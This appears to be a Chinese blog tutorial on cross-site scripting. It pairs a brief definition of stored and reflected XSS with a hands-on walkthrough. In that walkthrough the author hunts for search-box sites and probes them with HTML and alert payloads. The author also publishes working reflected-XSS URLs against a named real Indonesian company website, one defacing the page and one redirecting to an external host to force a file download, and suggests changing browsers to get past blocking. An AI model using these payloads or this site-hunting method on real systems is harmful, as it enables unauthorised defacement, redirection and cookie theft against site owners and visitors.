XSS 攻击讲解及实战

2,147 阅读2分钟

1 什么是XSS?

英文全称Cross-site scripting,利用网站程序的安全漏洞,将代码注入到网页代码中,使得用户加载时,自动执行或者无意执行恶意代码,攻击成功后,攻击者可能拥有更高的权限,私密信息,cookie等内容。

分为:

  • 持节型:攻击者将代码直接注入到服务器上,服务器不做过滤就将代码存储到数据库中,用户一打开网页就会接受这些恶意代码。
  • 非持久型:攻击者构造一个带有恶意代码的url诱导用户点击,服务器读取参数后不加过滤,就拼接到html发给浏览器执行。

2 实战过程

2.1 查找具有XSS漏洞的网站

这里查找带有搜索框的网站,pencarian是印度尼西亚语"搜索"的意思


2.2 挨个测试寻找可攻击网站

我们拿第一个网站进行测试,搜索框输入<h1>TEST</h1>,如果可攻击,出现如下网页


代表服务器对参数没有过滤,直接拼进了html,可进一步确认,右键鼠标,查看网页源代码


显示<h1>TEST></h1>代表服务器没有进行过滤操作

接着,返回,搜索框输入<script>alert('x');</script>,如果可攻击,出现如下网页



2.3 url注入代码执行脚本(实践一)

更改url为

https://www.sankelux.co.id/search?keyword=<script>document.body.innerHTML="<div style:visibility:visible;><h1>THE SITE WAS HACKED</h1></div>"</script>

也就是将keyword参数写成了一段脚本代码,执行效果如下


2.4 url注入代码执行脚本(实践二)

更改url为

https://www.sankelux.co.id/search?keyword=<script>document.location="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe";</script>

执行效果会自动下载putty.exe文件。

可以将keyword更换成任意你想执行的脚本

2.5 可能遇到的问题

浏览器拦截,出现如下情况,更换浏览器即可